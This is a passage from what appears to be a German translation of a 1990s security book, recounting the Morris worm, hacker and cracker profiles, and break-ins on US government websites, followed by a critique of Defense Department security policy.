des jungen Mannes als Ingenieur bei den Bell Labs beschäftigt und hatte als solcher erheblichen Einfluß
auf das Design des Internet. (Ironischerweise arbeitete der Vater des jungen Mannes später bei der
National Security Agency.) Nichtsdestrotrotz war der junge Mann Robert Morris jr. tatsächlich der Täter.
Hacker und Cracker
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Angeblich dachte Morris, daß sein Programm sich wesentlich langsamer verbreiten und ohne
Auswirkungen bleiben würde. Allerdings, wie Brendan Kehoe in seinem Buch Zen and the Art of the
Internet bemerkt:
Morris entdeckte bald, daß das Programm sich viel schneller wiederholte und Computer
infizierte als er erwartet hatte - das war ein Softwarefehler. Letztlich stürzten viele
Computer an verschiedenen Orten im Land ab. Als Morris realisierte, was da passierte,
kontaktierte er einen Freund an der Harvard University, um mit ihm über eine Lösung zu
diskutieren. Sie sandten schließlich anonyme Nachrichten von Harvard über das Netz, um
Programmierern mitzuteilen, wie sie den Wurm zerstören und eine wiederholte Infizierung
verhindern konnten.
Morris wurde vor Gericht gestellt und nach Bundesgesetz zu drei Jahren auf Bewährung und einer
Geldstrafe verurteilt. Er legte Berufung ein, hatte damit aber keinen Erfolg.
Der Morris-Wurm änderte vielerorts die Einstellung zum Thema Sicherheit im Internet. Ein einziges
Programm hatte praktisch Hunderte (vielleicht sogar Tausende) von Rechnern lahmgelegt. Dieser Tag
markierte die Anfänge ernstzunehmender Sicherheitsbedenken für das Internet. Außerdem trug dieses
Ereignis dazu bei, das Schicksal der Hacker zu besiegeln. Seit diesem Zeitpunkt mußten legitime
Programmierer den Titel Hacker rigoros verteidigen. Die Medien haben es zum größten Teil unterlassen,
das Mißverständnis zu korrigieren, das noch heute von der nationalen Presse unterstützt wird, indem sie
Cracker als Hacker bezeichnet.
Ist das alles überhaupt wichtig? Nicht wirklich. Viele Leute werfen den wahren Hackern Haarspalterei
vor und meinen, daß ihre starren Unterscheidungen für die Öffentlichkeit zu komplex und zu unpassend
sind. Vielleicht ist dies teilweise wahr - es ist viele Jahre her, seit die Bezeichnungen zuerst
fälschlicherweise vertauscht wurden. Zum gegenwärtigen Zeitpunkt ist es nur noch eine Frage des
Prinzips.
5.3 Die Situation heute: Ein Netzwerk im
Kriegszustand
Die heutige Situation unterscheidet sich radikal von der vor 10 Jahren. In diesem Zeitraum haben sich die
zwei Gruppen herauskristallisiert und sich als Gegner etabliert. Das Netzwerk ist heute im Kriegszustand
und diese zwei Gruppen sind die Soldaten. Cracker kämpfen mit harten Bandagen um Anerkennung und
realisieren dies mit spektakulären technischen Meisterstücken. Es vergeht kaum ein Monat ohne einen
Zeitungsartikel, der über das Knacken irgendeiner Site berichtet. Hacker arbeiten fieberhaft an der
Entwicklung neuer Sicherheitsmethoden, um die Cracker-Horden fernzuhalten. Wer wird schließlich die
Oberhand gewinnen? Es ist noch zu früh, das zu sagen. Die Cracker könnten jedoch Boden verlieren.
Seit das Big Business im Internet Einzug gehalten hat, ist die Nachfrage nach proprietären
Sicherheitstools drastisch gestiegen. Der Zufluß von Geld aus der Wirtschaft wird die Qualität solcher
Tools erheblich steigern. Cracker werden folglich im Laufe der Zeit immer größeren Herausforderungen
ins Auge blicken.
Ich beende dieses Kapitel mit einigen lebenden Beispielen für Hacker und Crakker. Das ist wohl die
einzig zuverlässige Art, den Unterschied zwischen den beiden verständlich zu machen.
Hacker und Cracker
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5.3.1 Die Hacker
Richard Stallman
Stallman begann 1971 im Labor für Künstliche Intelligenz am MIT. Er erhielt den 250K McArthur
Genius Award für die Entwicklung von Software. Er gründete schließlich die Free Software Foundation
und entwickelte Hunderte von kostenlosen Utilities und Programmen für Unix. Er arbeitete auf einigen
altertümlichen Computern, darunter der DEC PDP-10 (zu dem er heute wahrscheinlich immer noch
irgendwo Zugang hat).
Dennis Ritchie, Ken Thompson und Brian Kernighan
Ritchie, Thompson und Kernighan sind Programmierer bei den Bell Labs und waren an der Entwicklung
sowohl von Unix als auch von C beteiligt. Wenn es diese drei Männer nicht gäbe, gäbe es wohl auch kein
Internet (oder wenn es eines gäbe, wäre es sicher wesentlich weniger funktionell). Sie hacken heute noch.
Ritchie z.B. arbeitet derzeit an Plan 9 von Bell Labs, einem neuen Betriebssystem, das Unix als
Industrie-Standard für Supernetzwerk- Betriebssysteme wahrscheinlich ersetzen wird.
Paul Baran, Rand Corporation
Baran ist wahrscheinlich der bedeutendste Hacker von allen, aus einem ganz bestimmten Grund: Er
hackte das Internet, bevor das Internet überhaupt existierte. Er entwickelte das Konzept, und seine
Bemühungen stellten ein grobes Navigationstool zur Verfügung, das die inspirierte, die ihm folgen
sollten.
Eugene Spafford
Spafford ist ein Informatik-Professor, der für seine Arbeit an der Purdue University und anderswo
weithin bekannt geworden ist. Er war an der Entwicklung des Computer Oracle Password and Security
Systems (COPS) beteiligt, ein halbautomatisches System zur Sicherung von Netzwerken. Spafford hat
über die Jahre einige sehr vielversprechende Studenten hervorgebracht und sein Name wird auf dem
Gebiet weithin respektiert.
Dan Farmer
Während seiner Zeit mit dem Computer Emergency Response Team (CERT) an der Carnegie Mellon
University arbeitete Farmer mit Spafford an COPS (1991). Für tiefergehende Informationen schauen Sie
sich den Purdue University Technical Report CSD-TR-993 an, der von Eugene Spafford und Dan Farmer
geschrieben wurde. Später wurde er für die Herausgabe des System Administrator Tool for Analyzing
Networks (SATAN) auf nationaler Ebene bekannt. SATAN ist ein mächtiges Tool, um entfernte Rechner
auf Sicherheitsschwachstellen zu analysieren.
Wietse Venema
Venema arbeitet an der Technischen Universität Eindhoven in den Niederlanden. Er ist ein
außerordentlich begabter Programmierer, der schon lange Industrie-Standard-Sicherheitstools schreibt.
Hacker und Cracker
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Er war Co-Autor von SATAN und schrieb TCP Wrapper, ein Sicherheitsprogramm, das in weiten Teilen
der Welt eingesetzt wird und genaue Kontrolle und Überwachung von Informationspaketen aus dem
Netz ermöglicht.
Linus Torvalds
Torvalds belegte Anfang der 90er Jahre einige Kurse über Unix und die Programmiersprache C. Ein Jahr
später begann er mit der Programmierung eines Unix-ähnlichen Betriebssystems. Innerhalb einen Jahres
gab er dieses System im Internet frei. Es hieß Linux. Linux hat heute Kult-Status und gilt als das einzige
Betriebssystem, das von freiberuflichen Programmierern aus der ganzen Welt entwickelt wurde, von
denen sich viele niemals begegnen werden. Linux unterliegt der GNU General Public License und ist
damit für jedermann frei erhältlich und benutzbar.
Bill Gates und Paul Allen
Diese Männer aus dem Staate Washington hackten in ihren Oberschultagen Software. Beide waren
versierte Programmierer. Seit 1980 haben sie das größte und erfolgreichste Software- Unternehmen der
Welt aufgebaut. Zu ihren kommerziellen Erfolgen zählen MSDOS, Microsoft Windows, Windows 95
und Windows NT.
5.3.2 Die Cracker
Kevin Mitnick
Mitnick, bekannt unter mehr als einem halben Dutzend Pseudonymen, darunter Condor, ist
wahrscheinlich der bekannteste Cracker der Welt. Mitnick begann seine Karriere als Telefon-Phreaker.
Seit diesen frühen Jahren hat Mitnick jegliche als sicher geltende Site geknackt, einschließlich - aber
nicht nur - Sites von Militäreinrichtungen, Finanzunternehmen, Software-Unternehmen und anderen
Technologieunternehmen. Als Teenager knackte er den North American Aerospace Defense Command.
Kevin Poulsen
Poulsen schlug einen ganz ähnlichen Weg wie Mitnick ein und ist am meisten bekannt für seine
unheimlichen Fähigkeiten, das Telefonsystem von Pacific Bell unter seine Kontrolle zu bringen. Poulsen
nutzte seine Talente mehrfach dazu, Radiowettbewerbe zu gewinnen, einmal war der erste Preis ein
Porsche. Er manipulierte die Telefonleitungen, so daß sein Anruf der Gewinneranruf war. Poulsen hat
ebenfalls so ziemlich jede Art von Site geknackt, hat aber eine besondere Vorliebe für Sites, die
Verteidigungsdaten enthalten. Dies komplizierte seinen letzten Gefängnisaufenthalt, der 5 Jahre dauerte,
erheblich. Poulsen wurde 1996 freigelassen und hat sich gebessert.
Justin Tanner Peterson
Bekannt als Agent Steal wird Peterson am meisten gefeiert für das Knacken einer bekannten
Kreditanstalt. Als er geschnappt wurde, verpfiff Peterson seine Freunde, unter ihnen Kevin Poulsen.
Petersen machte einen Deal mit dem FBI und arbeitete undercover. Das sicherte seine Freilassung, nach
der er flüchtete und auf eine Verbrechenstour ging, die schließlich mit dem mißlungenen Versuch endete,
sich per gefälschter elektronischer Überweisung einen sechsstelligen Betrag zu sichern.
Hacker und Cracker
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5.4 Zusammenfassung
Es gibt noch viele andere Hacker und Cracker, über die Sie in den folgenden Kapiteln lesen werden. Ihre
Namen, ihre Arbeit und ihre Webseiten (wenn verfügbar) sind in diesem Buch sorgfältig aufgezeichnet.
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Hacker und Cracker
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6
Wer ist überhaupt anfällig für Angriffe
durch Cracker?
Seit 1973 werden Internet-Sites auf regelmäßiger Basis geknackt. Sicherheitsexperten bagatellisieren
diese Tatsache oft, indem sie uns daran erinnern, daß frühe Sicherheitstechnologien nicht ausgefeilt
genug waren. Tatsächlich aber gibt es da keinen Zusammenhang. Heutzutage sind
Sicherheitstechnologien sehr komplex, aber immer noch kann das Internet leicht geknackt werden.
Dieses Kapitel gibt einen Überblick darüber, wer für Angriffe von Crakkern anfällig ist und warum.
6.1 Eine Definition des Begriffs »knacken«
Der Begriff »knacken« wird dann angewandt, wenn ein unautorisierter Zugriff auf ein Netzwerk erfolgt
ist. Dieser Zugriff kann in verschiedenen Ausmaßen erreicht werden. Hier einige Beispiele:
Der Eindringling erhält Zugang und nicht mehr (Zugang wird hier definiert als einfacher
unautorisierter Eintritt in ein Netzwerk, das mindestens ein Login und ein Paßwort fordert).
Der Eindringling erhält Zugang und zerstört, verfälscht oder ändert Daten.
Der Eindringling erhält Zugang und übernimmt die Kontrolle über einen Teil des Systems, der zu
einer bestimmten Abteilung gehört, oder über das ganze System und verweigert möglicherweise
selbst privilegierten Benutzern den Zugang.
Der Eindringling erhält keinen Zugang, fälscht aber Nachrichten des Systems (Leute tun das oft,
um ungebetene E-Mail zu versenden oder das System mit unnötigen Arbeitsprozessen zu
überladen).
Der Eindringling erhält keinen Zugang, führt aber böswillige Prozesse durch, die das System dazu
bringen abzustürzen, neu zu booten, nicht mehr zu reagieren oder auf eine andere Art und Weise
seinen Arbeitsablauf zu unterbrechen, sei es auf Dauer oder vorübergehend.
Moderne Sicherheitsverfahren haben das Knacken von Computern schwerer gemacht. Aber, die Kluft
zwischen dem Wort schwierig und dem Wort unmöglich ist weit. Heutzutage haben Cracker Zugang zu
einer Fülle von Sicherheitsinformationen; viele davon sind frei verfügbar im Internet. Es gibt kaum noch
Unterschiede in bezug auf den Wissensstand eines Crackers und den eines zuverlässigen
Sicherheitsexperten. Eventuelle Unterschiede dieses Wissensstands werden täglich kleiner.
Wer ist überhaupt anfällig für Angriffe durch Cracker?
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Dieses Kapitel wird Ihnen zeigen, daß das Knacken von Websites eine alltägliche Aktivität ist - so
alltäglich, daß jegliche Aussagen darüber, daß das Internet sicher sei, mit größter Vorsicht zu genießen
sind. Um diesen Punkt zu beweisen, beginne ich mit Einrichtungen der Regierung. Schließlich stellen
Verteidigungsbehörden und Nachrichtendienste die Basis unserer nationalen Sicherheitsinfrastruktur dar.
Die dazugehörenden Daten sollten - mehr noch als die jeder anderen Einrichtung - sicher sein.
6.2 Netzwerke der Regierung
Sites der Regierung waren seit Bestehen des Internet beliebte Ziele für Angriffe. Ein Grund dafür ist die
massive Berichterstattung der Presse, die einem solchen Ereignis folgt. Cracker lieben die
Aufmerksamkeit der Medien, also ist ihre Philosophie: Wenn du schon eine Web- Site knackst, dann
knacke eine wichtige.
Man sollte meinen, daß Internet-Sites der Regierung über bessere Sicherheitsmaßnahmen verfügen als
ihre kommerziellen Gegenstücke. Die Medien reagieren daher aggressiver, wenn eine solche Site
geknackt wird. Und Cracker, die erfolgreich in eine Site der Regierung eindringen, gewinnen größeres
Ansehen unter ihresgleichen (ob verdient oder nicht).
Sie brauchen gar nicht weit zu suchen, um Beweise zu finden, daß Internet-Sites der Regierung
regelmäßig geknackt werden. Ein Bericht aus dem Jahre 1997, herausgegeben vom Government
Accounting Office (GAO), über die Sicherheit der Netzwerke der Verteidigungsbehörden schloß, daß
Einrichtungen der Verteidigungsbehörden wohl ganze 250.000mal im letzten Jahr
angegriffen worden sind. Zusätzlich dazu waren Testangriffe der DISA (Defense
Information Systems Agency) auf die zu den Verteidigungsbehörden gehörenden Systemen
zu 65 % erfolgreich. Offiziellen der Verteidigungsbehörden zufolge haben Angreifer
sensible Informationen erhalten und korrumpiert - sie haben sowohl Daten als auch
Software gestohlen, verändert oder zerstört. Sie haben unerwünschte Dateien und
»Hintertürchen« installiert, die den normalen Systemschutz umgehen und Angreifern später
erneut unautorisierten Zugriff ermöglichen. Sie haben ganze Systeme und Netzwerke
lahmgelegt und zerstört und haben so den Benutzern Dienste verweigert, die zur
Durchführung kritischer Aufgaben von automatischen Systemen abhängen. Zahlreiche
Abteilungen innerhalb der Verteidigungsbehörden waren betroffen, u.a. die Waffen- und
Supercomputer-Forschung, Logistik, Finanzen, Beschaffung, Personal-Management,
Militär-Gesundheitsbehörden und Lohn- und Gehaltsabrechnungen.
Wegweiser:
Den Bericht Information Security: Computer Attacks at Department of Defense Pose Increasing Risks
([Chapter Report, 05/22/96, GAO/AIMD-96- 84]; Chapter 0:3.2, Paragraph 1), aus dem die oben
angegebenen Informationen stammen, finden Sie unter
http://www.securitymanagement.com/library/000215.html.
Der gleiche Bericht zeigt, daß trotz einer Viertelmillion Angriffen jährlich nur einer von 500 Angriffen
aufgedeckt und gemeldet wird.
Hinweis:
Wer ist überhaupt anfällig für Angriffe durch Cracker?
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Frühere Berichte zeigen ähnliche Ergebnisse. Zum Beispiel griff die DISA zwischen 1992 und 1995
etwa 38.000 Netzwerke der Verteidigungsbehörden an. In mehr als 65 Prozent dieser Netzwerke konnte
erfolgreich eingedrungen werden. Von dieser Zahl (etwa 24.700) wurde bei 96 Prozent der Systeme
nicht entdeckt, daß ein Angriff vorgenommen worden war.
Regierungsbehörden versuchen verständlicherweise, diese Tatsachen zu bagatellisieren, aber einige der
Zwischenfälle sind schwer zu verschweigen. 1994 z.B. erhielten Cracker uneingeschränkten Zugang zu
einem Waffenforschungslabor in Rome, New York. Über einen Zeitraum von zwei Tagen konnten die
Eindringlinge wichtige Informationen in bezug auf die nationale Sicherheit herunterladen, u.a.
Kommunikationsprotokolle für Kriegszeiten. Diese Informationen sind extrem sensibel und könnten bei
Mißbrauch das Leben amerikanischen Militärpersonals gefährden. Wenn Cracker mit ihrer relativ
bescheidenen Ausstattung auf derartige Informationen zugreifen können, könnten feindlich gesinnte
ausländische Regierungen (mit wesentlich mächtigerem Computerequipment) sicher noch auf weit mehr
zugreifen.
Hinweis:
Ob bereits irgendeine ausländische Regierung über das technische Wissen verfügt, um unsere
Netzwerk-Infrastruktur anzugreifen, ist diskutabel. (Obwohl ein aktueller GAO-Bericht zeigt, daß etwa
120 Nationen über Programme für einen möglichen Informationskrieg verfügen.) Man weiß allerdings,
daß trotz Technologietransferbeschränkungen viele Nationen dabei sind, die notwendigen Tools für
einen möglichen Angriff zu sammeln. China z.B. erwarb kürzlich
High-End-Silicon-Graphics-Workstations für die 3D- Modellierung. Letztendlich wurden die
Maschinen in Chinas Nuklearprogramm eingesetzt.
Weder ist dieses Phänomen neu, noch haben Beschäftigte der Regierung viel getan, um die Situation zu
verbessern. Tatsache ist, daß einige sehr hochkarätige Websites der Regierung in den letzten Jahren
geknackt wurden. 1996 beispielsweise wurden sowohl die Central Intelligence Agency (CIA) als auch
das Department of Justice (DoJ) Opfer von Attacken durch Cracker.
Im Fall der CIA erlangten Cracker am 18. September 1996 Kontrolle über die Site und ersetzten das
Willkommensbanner durch ein neues, auf dem es hieß »The Central Stupidity Agency«. Links zu einer
Hacker-Gruppe in Skandinavien komplettierten die neue Begrüßung. Im Fall des DoJ präsentierten
Cracker am 17. August 1996 ein Foto von Adolf Hitler als Generalstaatsanwalt der Vereinigten Staaten.
Die jüngste Internet-Geschichte ist voller Geschichten solcher Angriffe. Hier ein paar besondere
Beispiele:
Von Juli 1995 bis März 1996 beeinträchtigte ein argentinischer Student wichtige Sites der
Vereinigten Staaten, darunter Hosts der Streitkräfte und der NASA.
Im August 1996 drang ein Soldat in Fort Bragg in ein »uneinnehmbares« militärisches
Computersystem ein und verteilte freigiebig die Kennworte, die er sich angeeignet hatte.
Im Dezember 1996 erlangten Cracker die Kontrolle über eine Site der Luftwaffe der Vereinigten
Staaten und ersetzten Verteidigungsstatistiken durch Pornographie. Die damit vernetzte Site des
Pentagons, DefenseLINK, mußte aufgrund dessen für mehr als 24 Stunden geschlossen werden.
Bundesbehörden waren nicht die einzigen Ziele. Im Oktober 1996 wurde die Homepage des Supreme
Courts (Obersten Gerichtshofs) des Staates Florida geknackt. Vor diesem Vorfall wurden auf der
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Homepage aktuelle Gerichtsurteile veröffentlicht. Die Cracker entfernten diese Informationen und
ersetzten sie durch Pornographie. (Das Gericht berichtete anschließend über eine ungewöhnlich hohe
Rate von Besuchen.)
Derartige Angriffe kommen immer häufiger vor und bisher hat die Verfügbarkeit von modernsten
Sicherheitstechnologien kaum Einfluß darauf gehabt. Warum? Es liegt nicht an den Technologien,
sondern an den Menschen. (Zum Beispiel lief auf dem DoJ-Host eine Firewall, aber sie war falsch
konfiguriert.) Um Ihnen zu veranschaulichen, wie verwundbar die Server der Regierung sind, stelle ich
Ihnen noch ein paar aktuelle Fälle vor.
6.2.1 Defense Information Systems Network (DISN)
Im April 1998 knackte eine Gruppe namens »Masters of Downloading« (nicht zu verwechseln mit den
»Masters of Destruction«) das DISN. Die Eindringlinge stahlen benutzerdefinierte Software, die vom
DISN eingesetzt wird und für die Öffentlichkeit nicht verfügbar ist (DISN kontrolliert wichtige
Militär-Satelliten). Der Reuters-Pressedienst berichtete:
Mitglieder des Verteidigungsministeriums gaben bekannt, daß die gestohlene Software, der Defense
Information Systems Network Equipment Manager (DEM), der Schlüssel zum amerikanischen Netzwerk
der militärischen GPS-Satelliten sei - sie wird benutzt, um Raketenschläge genau festzulegen, Truppen zu
lenken und Bodenkonditionen festzustellen. http://www.news.com/News/Item/0,4,21357,00.html
Derart lebenswichtige Daten könnten sich in den Händen einer feindlichen ausländischen Nation als
vernichtend herausstellen. DISN-Dienste beinhalten u.a.:
... die Infrastruktur, Satellitenkommunikation (militärisch und kommerziell), Telekommunikation an der
Front, die den kriegsführenden Oberbefehlshabern die Möglichkeit geben, sich jederzeit, von jedem Ort
und für jegliche Mission in die Informationsinfrastuktur des Verteidigungsministeriums einzuwählen und
von ihr vollen Gebrauch zu machen... http://www.disa.mil/DISN/disns54.html
Die Verantwortlichen des DISN haben ganz klar noch einiges zu tun. Derzeit ist die nationale Sicherheit
gefährdet.
6.2.2 Die Marine der Vereinigten Staaten und die NASA
Ebenfalls im April 1998 wurden Hosts der amerikanischen Marine und der NASA durch umfangreiche
Denial-of-Service-Attacken lahmgelegt. Obwohl keine Daten verloren oder beschädigt wurden, waren
die Hosts über Minuten, in manchen Fällen sogar über Stunden, unbrauchbar und nicht erreichbar. Vieler
dieser Hosts gehörten zu wichtigen militärischen und technologischen Forschungszentren. Hier einige
der Opfer:
Ames Research Center
Dryden Flight Research Center
Goddard Space Flight Center
Jet Propulsion Laboratory
Kennedy Space Center
Langley Research Center
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Lewis Research Center
Marshall Space Flight Center
Moffett Airfield (Kalifornien)
NASA Hauptquartier
Stennis Space Center
Microsoft, der für das Sicherheitsloch verantwortliche Hersteller, gab einen Hinweis über das
Sicherheitsrisiko heraus, in dem Microsoft-Offizielle schrieben:
Seit dem 2. März 1998 gab es zahlreiche Berichte über bösartige Netzwerk-basierte
Denial-of-Service-Angriffe gegen Systeme, die mit dem Internet verbunden sind. Wir wurden
von Kunden und Sicherheitsüberwachungsorganisationen wie CIAC und CERT über die
Vorfälle unterrichtet, die auch mit dem Internet verbundene Microsoft Windows-NT- und
Windows-95-Systeme betrafen. http://www.microsoft.com/security/netdos.htm
»Zahlreiche Berichte« ist eine Untertreibung. Tatsächlich fielen Hunderte von Hosts aus und Tausende
von Benutzern waren betroffen. Zusätzlich zu den NASA- und Marine-Computern stürzten eine ganze
Reihe von Hosts an Universitäten ab, beispielsweise
an der University of California in Berkeley
an der University of California in Los Angeles
an der University of California in San Diego
an der University of California in Irvine
an der Cornell University
am MIT
an der University of Texas in Austin
an der University of Washington
an der University of Wisconsin in Madison
In Kapitel 9 erfahren Sie mehr über die Mechanismen dieses neuen Denial-of-Service- Angriffs vom
Januar 1998.
6.2.3 Die Pentagon-Attacke
Im Februar 1998 wurden wichtige Hosts des Pentagons geknackt. Diese Attacke wurde von den
Behörden als »die bestorganisierte und systematischste Attacke aller Zeiten« auf Netzwerke des Militärs
bezeichnet. Die Attacke wurde von dem israelischen Teenager Ehud Tenenbaum meisterlich geplant.
Berichten zufolge schulte er zwei kalifornische Teenager und zeigte ihnen verschiedene Wege, um die
Sicherheitsmaßnahmen des Pentagons zu durchbrechen. Die Jugendlichen aus Kalifornien setzten dieses
Wissen gleich in die Tat um und innerhalb von Tagen drangen die drei in Hunderte von Netzwerken in
ganz Amerika ein.
Hinweis:
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Dem israelischen Teenager gelang es auch, Schwachstellen im Netzwerk der Knesset, dem israelischen
Parlament, aufzudecken. Es gibt kaum Informationen über diese Attacke, aber es ist bekannt, daß
jemand in das Knesset-Netzwerk eingedrungen ist. Es gibt ein interessantes Interview mit dem
Teenager, das Sie im Internet finden können. http://www.walla.co.il/news/special/ hacker/eindex.html
Das Knacken der Pentagon-Rechner war extrem beunruhigend, da es offenbarte, daß jeder von jedem
beliebigen Ort Netzwerke der Verteidigungsbehörden einfach lahmlegen konnte. Zwar ist es richtig, daß
keiner der betroffenen Rechner geheime oder sensible Daten enthielt, aber im Idealfall sollte einfach
keiner unserer hochgeschätzen Netzwerke der Regierung anfällig für Attacken sein.
Die ersten Reaktionen Israels auf die Attacke waren vielleicht sogar noch beunruhigender. Die
israelische Regierung nahm die Sache auf die leichte Schulter und pries Herrn Tenenbaum für seine
Talente, die ihm ein Durchbrechen der Sicherheitsvorkehrungen für amerikanische Netzwerke
ermöglicht hatten.
Gleichzeitig kam zum Schaden noch der Spott hinzu, als eine Gruppe junger Cracker, die sich als
Verbündete Tenenbaums ausgaben, damit drohten, im Fall einer Verhaftung ihres Kollegen weitere
Server lahmzulegen. Tenenbaum wurde schließlich unter Hausarrest gestellt und wartet jetzt auf eine
Anklage.
6.2.4 Andere geknackte Sites der Regierung
Attacken auf Ziele wie die NASA, das Pentagon und die amerikanische Marine ziehen umfangreiche
Berichterstattung durch die Medien nach sich. Aber auch unwichtigere Internet-Sites der Regierung
werden regelmäßig geknackt, allerdings wird darüber kaum berichtet. Ich habe einige interessante Ziele
aufgelistet, die alle in den letzten 13 Monaten Opfer von Crackern wurden:
California Department of Fish and Game (http://www.dfg.ca.gov/). Diese Site wurde am 2.
Dezember 1997 geknackt. Der Eindringling änderte nichts, hinterließ aber eine kleine Notiz. Er
schrieb: »screw Clair Danes, Dina Meyers R0x.«
Moody Air Force Base (http://www.moody.af.mil/). In dieser Attacke im Dezember 1997 änderte
der Angreifer die Seite komplett. Der Titel der neuen Seite lautete wie folgt: »Don't you wish the
Army would password protect their sites?« (»Denken Sie nicht auch, daß die Armee ihre Sites mit
Paßwörtern schützen sollte?«)
HQ USAF Command Section Homepage (http://www.hq.af.mil/). Dieser Server der
amerikanischen Luftwaffe wurde ebenfalls im Dezember 1997 geknackt. Der Cracker hinterließ
kaum sichtbare Spuren, legte aber die Inhalte eines geschützten Directories offen.
Oregon Department of Forestry (http://www.odf.state.or.us/). Die ODF-Site wurde am 11.
Dezember 1997 geknackt. Der Eindringling hinterließ Urlaubsgrüße an seine Freunde.
State of Minnesota (http://www.state.mn.us/). Diese Site wurde im Juli 1997 geknackt.
U.S. Department of Agriculture (http://www.usda.gov). Die USDA-Site wurde Mitte 1997
geknackt. Cracker erlangten die Kontrolle über die Site und überluden von dort das Internet mit
unnötigen Arbeitsprozessen.
Wie Sie sehen, werden Server der Regierung alarmierend häufig geknackt (durchschnittlich etwa zwei
Wer ist überhaupt anfällig für Angriffe durch Cracker?
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pro Monat). Lassen Sie uns die Gründe dafür untersuchen.
6.2.5 Sicherheitsmaßnahmen der Regierung
Die amerikanische Regierung hat viele Faktoren oder auch Personen für ihre Probleme verantwortlich
gemacht, u.a.:
Die weitverbreitete Verfügbarkeit von automatisierten Cracking-Tools
Die unglaublich schnellen Fortschritte der Technologien
Die verdammten Teenager
In der Realität ist keiner dieser Faktoren verantwortlich oder auch nur beteiligt. Statt dessen liegt die
Schuld bei den Behörden und ihren Angestellten. Netzwerke für Verteidigungsinformationen arbeiten
mit archaischen internen Sicherheitsrichtlinien. Diese Richtlinien fördern nicht die Sicherheit, sondern
verhindern sie eher. Zur Demonstrierung dieser Tatsache möchte ich noch einmal auf den bereits
erwähnten GAO-Bericht zurückkommen. Darin räumt die Regierung ein:
Das Militär und die Verteidigungsbehörden haben eine ganze Reihe von Richtlinien zur
Informationssicherung herausgegeben, aber diese sind altmodisch, widersprüchlich und
unvollständig.
Der Bericht bezieht sich auf eine Reihe von Direktiven der Verteidigungsbehörden als Beispiele. Er
zitiert aus der Direktive 5200.28 (als das bedeutendste Dokument zu Richtlinien des
Verteidigungsministeriums). Dieses Dokument Security Requirements for Automated Information
Systems stammt vom 21. März 1988.
Lassen Sie uns einen Teil dieser Direktive genauer ansehen. In Paragraph 5, Abschnitt D, dieses
Dokuments heißt es:
Sicherheitsmerkmale sowohl kommerziell gefertigter als auch von seiten der
Regierungsbehörden entwickelter Produkte werden ausgewertet und bei Bewertung als
zuverlässige Computerprodukte in die Liste der geprüften Produkte (Evaluated Products
List - ELP) aufgenommen. Geprüfte Produkte sind solche, die den Sicherheitskriterien des
National Computer Security Center (NCSC) der NSA entsprechen, die definiert sind als
Sicherheitsabteilung, -klasse und -merkmale (z.B. B, B1, Zugangskontrolle), beschrieben in
DoD 5200.28-STD (Reference K)).
Wegweiser:
Das Dokument Security Requirements for Automated Information Systems finden Sie unter
http://www.dtic.mil/c3i/bprcd/485x.htm.
Das Hauptproblem der Regierung liegt in den Ausführungen dieses Absatzes. Die Evaluated Products
List (EPL) ist eine Liste von Produkten, die für Sicherheitsklassen gemäß den Richtlinien des
Verteidigungsministeriums (DoD) bewertet wurden. (Die National Security Agency überwacht diese
Bewertung.) Die Beurteilung der Sicherheit dieser Produkte erfolgt in verschiedenen Abstufungen.
Wegweiser:
Wer ist überhaupt anfällig für Angriffe durch Cracker?
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Bevor Sie weitermachen, sollten Sie sich die EPL kurz selbst ansehen:
http://www.radium.ncsc.mil/tpep/epl/epl-by-class.html
Zuerst wird Ihnen auffallen, daß die meisten der Produkte alt sind. Schauen Sie sich z.B. die Auflistung
für Trusted Informations Systems' Trusted XENIX, ein Unix-basiertes Betriebssystem, an.
Wegweiser:
Die Auflistung für Trusted XENIX finden Sie unter
http://www.radium.ncsc.mil/tpep/epl/entries/CSC-EPL-92-001-A.html .
TIS's Trusted XENIX ist als sicheres System vermerkt, das den Richtlinien der Regierung entspricht
(Stand September 1993). Schauen Sie sich jedoch die Plattformen genau an, für die dieses Produkt als
sicher bestimmt wurde. Dazu gehören:
AST 386/25 und Premium 386/33
HP Vectra 386
NCR PC386sx
Zenith Z-386/33
Diese Architekturen sind uralt. Bis Produkte der EPL zugefügt werden, sind sie oft schon hoffnungslos
veraltet. Sie können daraus schließen, daß sowohl viele Hardware- und Software-Produkte als auch die
Sicherheitsmaßnahmen des DoD ebenso veraltet sind.
Fügen Sie nun noch einen Punkt hinzu: interne Schulungen. Ist das Personal der Verteidigungsbehörden
geschult in punkto modernste Sicherheitstechnologien und kann es diese anwenden? Nein. Wieder zitiere
ich aus dem GAO-Bericht:
Die Offiziellen der Verteidigungsbehörden stimmten im allgemeinen zu, daß zur Erhöhung
des Bewußtseins für Sicherheitsprobleme von seiten des Benutzers Schulungen nötig seien,
meinten aber, daß die für die Installationen Verantwortlichen die Sicherheitsrisiken für
Computer nicht immer verstehen und daher nicht immer genügend Ressourcen zur
Verfügung stellen.
In der Vergangenheit existierte keine angemessene Finanzierung für Schulungen. Daher blieb die
Mehrheit des Personals der Verteidigungsbehörden unwissend und konnte nicht einmal ein Eindringen
aufdecken, geschweige denn die Herkunft bestimmen.
Diese Situation geriet über die Jahre außer Kontrolle. Das soll sich nun ändern. Die Regierung beschloß
kürzlich zu handeln, und obwohl sie vielleicht etwas spät dran ist, stehen jetzt zumindest die nötigen
Mittel zur Verfügung. Seitdem wurden auf allen Ebenen der Regierung Spezialeinheiten gegründet.
Schauen wir uns einige davon an.
The President's Commission on Critical Infrastructure Protection
Am 15. Juli 1996 unterschrieb Präsident Clinton die Executive Order 13010. In diesem Erlaß bemerkten
Clinton-Berater:
Einige nationale Infrastrukturen sind so wichtig, daß ihre Lahmlegung oder Zerstörung die
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Sicherheit der Verteidigungsapparate oder der Wirtschaft der Vereinigten Staaten
schwächen könnten. Diese kritischen Infrastrukturen umfassen: Telekommunikation,
Stromversorgungssysteme, Gas- und Öllagerung und -transport, Bankwesen und Finanzen,
Transport, Wasserversorgungssysteme, Notruf-Dienste (einschließlich Notärzte, Polizei,
Feuerwehr und Rettungsdienste) und Kontinuität der Regierungsgeschäfte. Die
Bedrohungen für diese kritischen Infrastrukturen können in zwei Kategorien geteilt werden:
direkte Bedrohungen für Anlagen (»Physikalische Bedrohungen«) und Bedrohungen durch
elektronische, Hochfrequenz- oder Computer-basierte Angriffe auf die Informations- oder
Kommunikationskomponenten, die kritische Infrastrukturen kontrollieren
(»Cyber-Bedrohungen«). Da viele dieser kritischen Infrastrukturen in privatem Besitz sind
oder privat betrieben werden, ist es absolut notwendig, daß die Regierung und der
Privatsektor zusammenarbeiten, um eine Strategie zu entwickeln, wie man diese
